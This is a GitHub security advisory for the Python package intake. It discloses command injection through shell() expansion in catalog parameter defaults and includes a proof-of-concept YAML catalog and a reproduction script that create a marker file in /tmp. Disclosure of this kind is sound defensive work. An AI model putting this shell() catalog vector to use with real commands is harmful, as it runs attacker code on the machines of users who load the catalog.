GitHub Security Advisory: GHSA-37g4-qqqv-7m99
Package: intake (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: <= 2.0.9
Patched in: unpatched

Summary: Intake has a Command Injection via shell() Expansion in Parameter Defaults

Details:
### Summary
The shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process.
If a catalog contains a parameter default such as shell(<command>), the command may be executed when the catalog source is accessed.
This means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system.
This behavior could potentially be classified as OS Command Injection / Unsafe Shell Expansion.

### Details
The issue appears to originate from how parameter default values are expanded when a catalog source is accessed.

During catalog loading and source access:

Intake resolves parameter default values
The function responsible for expanding defaults processes the shell() syntax
The shell expression triggers a subprocess execution
Because this occurs during catalog evaluation, the command may execute before the user explicitly interacts with the dataset itself.

Affected logic appears to involve:
```
expand_defaults()
```
and related parameter parsing mechanisms.


### PoC
exploit.yaml
```
metadata:
  version: 1
sources:
  rce_test:
    driver: csv
    description: "Testing shell expansion in parameters"
    args:
      urlpath: "{{ cmd_exec }}"
    parameters:
      cmd_exec:
        display_name: "Test Parameter"
        type: str
        default: "shell(touch /tmp/intake_rce_test)"
```

reproduce.py
```
import intake
import os

PROOF_FILE = "/tmp/intake_rce_test"

if os.path.exists(PROOF_FILE):
    os.remove(PROOF_FILE)

print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}")

try:
    cat = intake.open_catalog("exploit.yaml")

    print("Accessing source...")
    _ = cat["rce_test"]

except Exception as e:
    print(f" Error during execution: {e}")

if os.path.exists(PROOF_FILE):
    print(f" Command execution confirmed, Found: {PROOF_FILE}")
else:
    print("Command execution did not occur.")
```
### Attack Scenario
A potential attack scenario could be:

1. An attacker publishes a malicious Intake catalog YAML file
2. The victim downloads or loads the catalog
3. The victim accesses a source entry in the catalog
4. Parameter defaults are expanded
5. The shell() expression triggers execution of the embedded command

### Impact

If this behavior is confirmed to be unintended, an attacker could distribute a malicious catalog file via:

- Git repositories
- shared datasets
- URLs
- data science workflows
- Any user loading the catalog could unknowingly execute commands with their local user privileges.

### Recommendation
Possible mitigations could include:

- disabling shell() expansion by default
- requiring an explicit opt-in flag (e.g., allow_shell=True)
- restricting shell execution for catalogs loaded from untrusted sources
Please let me know if additional information or testing is needed.
I'm happy to assist with further analysis or validation.